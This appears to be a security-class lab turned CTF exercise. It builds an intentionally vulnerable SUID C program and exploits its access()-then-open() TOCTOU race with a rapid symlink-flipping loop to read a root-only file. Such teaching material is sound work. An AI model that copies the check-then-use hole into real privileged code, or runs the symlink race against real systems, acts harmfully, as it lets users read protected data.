sudo adduser noob
Enter a password of noob twice and press
Enter to leave all the other information blank,
as shown below.
nano race.c
Paste in this code:
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <time.h>
#include <sys/time.h>
int main(int argc, char **argv)
{
char *file;
char buffer[4096];
int ffd, rc, i, j;
struct timeval t0, t1;
long dt;
if(argc < 2) {
printf("%s file\n\tPrints file if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
gettimeofday(&t0, NULL); // TIME OF CHECK
if(access(argv[1], R_OK) == 0) {
for (i=0; i<1000000; i++) { j = (j*i) % 1000; } // WASTE SOME TIME
gettimeofday(&t1, NULL); // TIME OF USE
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
printf("%s\n", buffer);
dt = (t1.tv_sec - t0.tv_sec) * (int)1e6 + (t1.tv_usec - t0.tv_usec);
printf("Vulnerable time interval: %d microsec\n", dt);
} else {
printf("You don't have access to %s\n", file);
}
}
Press Ctrl+X, Y, Enter to save
the file.
Execute these commands to switch to root, compile it, give it SUID permissions, and copy it to noob's home folder, preserving permissions, as shown below.
cp race.c /tmp
sudo su -
gcc -o race /tmp/race.c
chmod 4755 race
sudo cp -p race /home/noob
exit
sudo nano /home/noob/secret
Type in this text,
as shown below.
SECRET INFORMATION
Press Ctrl+X, Y, Enter to save the file.
In a Terminal window, execute this command to limit access to the file:
sudo chmod 600 /home/noob/secret
su noob
noob
cd
ls -l
You see "race" and "secret", as shown below.
cat secret
You see a "Permission denied" message,
as shown below.
nano public
Type in this text,
as shown below.
PUBLIC INFORMATION
Press Ctrl+X, Y, Enter to save the file.
./race public
./race secret
You see the contents of "public",
but you are denied access to "secret",
as shown below.
ln -s public flip
./race flip
The "PUBLIC INFORMATION" is shown,
as shown below.
ln -s secret flip
The command fails, because the "flip"
link already exists,
as shown below.
To force the link's overwrite, and run the "race" program on it, in a Terminal window, execute these commands:
ln -sf secret flip
./race flip
The "flip" link now points to the
"secret" file, so you can't access it,
as shown below.
To see, let's flip the link many times and see how long it takes.
In a Terminal window, execute this command:
for i in {1..1000}; do ln -sf secret flip; ln -sf public flip; done
The code has no output,
as shown below, but you can count the seconds
to see how long it takes. When I did it,
it took about 3 seconds.
Therefore, it takes around 3000 microseconds to flip the link, and the vulnerable period is around 600 microseconds. So there's a 20% chance or so of the flip occurring during the vulnerable period. If we run the program 30 times, it should succeed for some of them.
while true; do ln -sf secret flip; ln -sf public flip; done &
This flips the link from "public" to "secret" rapidly,
and runs in the background, thanks to the & operator.
When I did it, a few error messages appeared saying "Not a directory", as shown below. They seem harmless--I just pressed Enter to get a command prompt and continued.
./race flip
Repeat the command several times.
At some point, you should get lucky and see the "SECRET INFORMATION", as shown below.
top
A list of processes appears, with the process
that consumes the most CPU on top. When I did it,
the first process was using 25.6% of the CPU,
as shown below.
Find the "NAME" entry for that process, which is redacted in the image below. That's the flag.
Posted 4-10-18
Converted to a CTF 5-24-18
Ported to Google Cloud 8-6-19